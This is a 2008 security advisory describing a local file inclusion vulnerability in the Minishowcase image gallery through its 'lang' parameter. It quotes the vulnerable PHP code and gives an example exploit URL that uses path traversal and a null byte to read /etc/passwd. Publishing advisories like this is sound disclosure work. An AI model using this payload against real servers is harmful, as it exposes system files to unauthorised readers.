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Minishowcase v09b136 local file include ]



Local File Include Vulnerability in Minishowcase v09b136
Local File Include Vulnerability in Minishowcase v09b136




Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    Minishowcase Image Gallery      
Versions Affected:              v09b136
Vendor URL: http://minishowcase.frwrd.net 
Bug:                            Local File Include
Exploits:                       YES
Reported:                       14.07.2008
Second report:                  22.07.2008
Vendor response:                NONE
Solution:                       NONE
Date of Public Advisory:        29.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php

Vulnerable GET parameters "lang".

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

...
        $_dir_file = dirname(dirname(__FILE__));
        $_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);
        
        if ($_dir_file != $_dir_path) {
                if (!isset($settings['minishowcase_url'])
                        || ($settings['minishowcase_url'] == "")) {
                        die ("

ALERT: if you are including minishowcase with PHP into a website, please set the \$minishowcase_url variable in the /config/settings.php file

"); } } ... if (isset($_GET["lang"])) $set_language = $_GET["lang"]; $langfile = ROOT.'languages/'.$set_language.'.php'; require_once($langfile); ################################################# Example: http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00 Solution ******** No response or any updates from vendor. About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)

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